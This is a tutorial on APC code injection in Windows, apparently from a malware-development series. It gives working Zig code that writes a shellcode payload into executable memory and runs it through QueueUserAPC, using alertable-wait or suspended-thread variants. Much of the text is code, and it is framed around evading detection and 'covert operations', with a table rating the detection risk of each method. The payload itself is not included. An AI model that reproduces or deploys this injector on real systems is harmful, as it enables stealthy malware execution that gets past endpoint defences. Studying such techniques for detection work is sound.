APC Injection
TL;DR
APC injection is a stealthy code injection technique that executes malicious payloads within legitimate Windows thread contexts. It leverages the built-in APC mechanism via QueueUserAPC
to schedule shellcode execution without creating new processes, making detection difficult.
The technique uses two approaches: alertable threads (using APIs like SleepEx
with alertable flags for immediate execution) or suspended threads (created paused, then resumed after APC queuing). Our Zig implementation provides an interactive menu to choose between five alertable functions or suspended thread execution.
This method's effectiveness comes from using legitimate Windows APIs and executing within existing thread contexts, avoiding the suspicious behavior of process creation while maintaining high reliability for covert operations.
Asynchronous Procedure Calls (APC)
Asynchronous procedure calls (APC) is a function that executes asynchronously in the context of a particular thread. When an APC is queued to a thread, the system issues a software interrupt. The next time the thread is scheduled, it will run the APC function. An APC generated by the system is called a kernel-mode APC. An APC generated by an application is called a user-mode APC. A thread must be in an alertable state to run a user-mode APC.
To be more detailed, there're actually 4 types of APC on Windows, but here we'll focus on the user-mode APC.
Alertable State
Windows APC functions are put on a queue (FIFO). User-mode APC can only be called by the thread when the thread is in alertable state, but when once the APC is called, all of the functions in the APC queue will be executed by the thread.
So, what is alertable state? It's actually the state that when a thread has no task to do (which is in a wait state). When a thread enter a alertable state, it will be placed in the queue of alertable threads, which allowed to run queued APC functions.
APC Injection
APC Injection is a code injection technique that leverages the Windows APC mechanism to execute malicious code in the context of another thread. This technique works by:
- Creating or targeting a thread - Either create a new thread in a suspended state or find an existing threads
- Injecting shellcode - Allocate memory and write the payload to the target process
- *Queuing the APC - Use
QueueUserAPC
to schedule the shellcode execution - Triggering execution - Either resume a suspended thread or wait for an alertable thread to process the APC
The main advantage of APC injection is that it executes code within the legitimate context of an existing thread, making it harder to detect than creating new threads or processes.
QueueUserAPC
The QueueUserAPC
function is the core of APC injection. It adds a user-mode APC object to the APC queue of the specified thread.
extern "kernel32" fn QueueUserAPC(
pfnAPC: PAPCFUNC, // Pointer to the APC function
hThread: HANDLE, // Handle to the target thread
dwData: windows.ULONG_PTR, // Parameter passed to APC function
) callconv(WINAPI) BOOL;
Here's how we use it in our implementation:
// APC injection function
fn runViaApcInjection(hThread: HANDLE, pPayload: []const u8) bool {
var dwOldProtection: DWORD = 0;
// Allocate memory for the payload
const pAddress = VirtualAlloc(null, pPayload.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == null) {
print("\t[!] VirtualAlloc Failed With Error : {}\n", .{GetLastError()});
return false;
}
// Copy payload to allocated memory
@memcpy(@as([*]u8, @ptrCast(pAddress))[0..pPayload.len], pPayload);
print("\t[i] Payload Written To : 0x{X}\n", .{@intFromPtr(pAddress)});
// Change memory protection to executable
if (VirtualProtect(pAddress.?, pPayload.len, PAGE_EXECUTE_READWRITE, &dwOldProtection) == 0) {
print("\t[!] VirtualProtect Failed With Error : {}\n", .{GetLastError()});
return false;
}
waitForEnter("\t[#] Press <Enter> To Run ... ");
// Queue the APC - this is where the magic happens!
if (QueueUserAPC(@ptrCast(pAddress), hThread, 0) == 0) {
print("\t[!] QueueUserAPC Failed With Error : {}\n", .{GetLastError()});
return false;
}
return true;
}
Key Points:
pfnAPC
points to our shellcode (cast as a function pointer)hThread
is either a suspended thread or an alertable threaddwData
can pass parameters to the APC function (we use 0)
Put A Thread To Alertable State
There are two main approaches to make APC injection work: using alertable threads or suspended threads.
Using The Functions
Alertable threads are threads that call specific Windows API functions with the alertable flag set to TRUE. These functions will process queued APCs while waiting:
Method 1: SleepEx
fn alertableFunction1(lpParameter: LPVOID) callconv(WINAPI) DWORD {
_ = lpParameter;
_ = SleepEx(INFINITE, 1); // TRUE = 1, sleeps indefinitely in alertable state
return 0;
}
Method 2: WaitForSingleObjectEx
fn alertableFunction2(lpParameter: LPVOID) callconv(WINAPI) DWORD {
_ = lpParameter;
const hEvent = CreateEventW(null, 0, 0, null);
if (hEvent != null) {
_ = WaitForSingleObjectEx(hEvent.?, INFINITE, 1); // Alertable wait
_ = CloseHandle(hEvent.?);
}
return 0;
}
Method 3: WaitForMultipleObjectsEx
fn alertableFunction3(lpParameter: LPVOID) callconv(WINAPI) DWORD {
_ = lpParameter;
const hEvent = CreateEventW(null, 0, 0, null);
if (hEvent != null) {
const handles = [_]HANDLE{hEvent.?};
_ = WaitForMultipleObjectsEx(1, &handles, 1, INFINITE, 1); // Alertable wait
_ = CloseHandle(hEvent.?);
}
return 0;
}
Method 4: MsgWaitForMultipleObjectsEx
fn alertableFunction4(lpParameter: LPVOID) callconv(WINAPI) DWORD {
_ = lpParameter;
const hEvent = CreateEventW(null, 0, 0, null);
if (hEvent != null) {
const handles = [_]HANDLE{hEvent.?};
_ = MsgWaitForMultipleObjectsEx(1, &handles, INFINITE, QS_KEY, MWMO_ALERTABLE);
_ = CloseHandle(hEvent.?);
}
return 0;
}
Method 5: SignalObjectAndWait
fn alertableFunction5(lpParameter: LPVOID) callconv(WINAPI) DWORD {
_ = lpParameter;
const hEvent1 = CreateEventW(null, 0, 0, null);
const hEvent2 = CreateEventW(null, 0, 0, null);
if (hEvent1 != null and hEvent2 != null) {
_ = SignalObjectAndWait(hEvent1.?, hEvent2.?, INFINITE, 1); // Alertable wait
_ = CloseHandle(hEvent1.?);
_ = CloseHandle(hEvent2.?);
}
return 0;
}
Create An Alertable Thread
// Create thread that immediately enters alertable state
hThread = CreateThread(null, 0, alertableFunction1, null, 0, &dwThreadId);
if (hThread == null) {
print("[!] CreateThread Failed With Error : {}\n", .{GetLastError()});
return;
}
print("[+] Alertable Target Thread Created With Id : {}\n", .{dwThreadId});
Suspended Thread
An alternative approach is to create a thread in a suspended state, queue the APC, then resume the thread:
// Dummy function for suspended thread
fn dummyFunction(lpParameter: LPVOID) callconv(WINAPI) DWORD {
_ = lpParameter;
// Some dummy code that will never execute because APC hijacks it
var prng = std.Random.DefaultPrng.init(@intCast(std.time.timestamp()));
const random = prng.random();
const j = random.int(i32);
const i = j + random.int(i32);
_ = i;
return 0;
}
// Create suspended thread
hThread = CreateThread(null, 0, dummyFunction, null, CREATE_SUSPENDED, &dwThreadId);
if (hThread == null) {
print("[!] CreateThread Failed With Error : {}\n", .{GetLastError()});
return;
}
print("[+] Suspended Target Thread Created With Id : {}\n", .{dwThreadId});
// Queue APC to suspended thread
if (!runViaApcInjection(hThread.?, &Payload)) {
return;
}
// Resume thread - this will execute the APC instead of the original function
print("[i] Resuming Suspended Thread...", .{});
_ = ResumeThread(hThread.?);
print("[+] DONE\n", .{});
Key Differences
Aspect | Alertable Thread | Suspended Thread |
---|---|---|
Execution Timing | Immediate when APC is queued | After thread is resumed |
Thread State | Running, waiting in alertable state | Suspended, not running |
Detection Risk | Lower (thread appears to be waiting normally) | Slightly higher (suspended threads are unusual) |
Reliability | High (guaranteed to execute when queued) | High (executes on resume) |
Use Case | When you want immediate execution | When you want to control timing |